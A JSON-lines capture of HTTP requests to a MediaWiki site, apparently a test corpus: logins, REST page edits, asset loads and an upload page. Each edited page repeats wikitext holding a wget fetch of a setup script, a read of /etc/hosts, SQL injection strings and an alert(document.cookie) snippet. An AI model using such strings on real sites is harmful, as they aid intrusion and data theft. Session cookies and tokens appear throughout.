image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd.htaccess\r\n--0451c085f0cd430585e04333efbbfbbf--\r\n"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 120", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=38%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+.htaccess+notes&token=c47e469c2c159f84b563d880403eca806af226a4%2B%5C&format=json&formatversion=2"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_Lighthouse_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1256", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=40%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on Lighthouse\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_python3_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1253", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=41%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on python3\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_powershell_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1256", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=42%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on powershell\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_ls_-la_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1252", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=43%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on ls -la\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_.htaccess_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1255", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=44%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on .htaccess\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 94", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=45%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=logout&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
# From a wiki without short URLs, whose pages are at /index.php/Main_Page:
# signing in, uploading files, and moving a page through the form and the API.
{"method": "GET", "target": "/index.php/Special:UserLogin", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=startup&only=scripts&raw=1&safemode=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/resources/assets/change-your-logo-icon.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=u5y2w", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=menu&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=ellipsis&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userTalk&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userContributions&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.special.userlogin.login.styles/images/glyph-people-large.png?707d6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/resources/assets/poweredby_mediawiki.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "POST", "target": "/index.php/Special:UserLogin", "headers": ["Host: example.com", "Content-Length: 229", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": "title=Special%3AUserLogin&wpName=Admin&wpPassword=Notes+on+python3%2C+powershell%2C+ls+-la+and+.htaccess&wploginattempt=Log+in&wpEditToken=%2B%5C&authAction=login&force=&wpLoginToken=cc579f5a6afe54fa22c977aa9653ff9b6af23587%2B%5C"}
{"method": "GET", "target": "/index.php/Main_Page", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=startup&only=scripts&raw=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=watchlist&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userAvatar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=settings&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=logOut&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=star&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/skins/Vector/resources/skins.vector.styles/images/link-external-small-ltr-progressive.svg?fb64d", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.chosen%2Cclient%2Cconfirmable%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cmisc-authed-curate%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=13uqb", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=search&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=wikiText&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
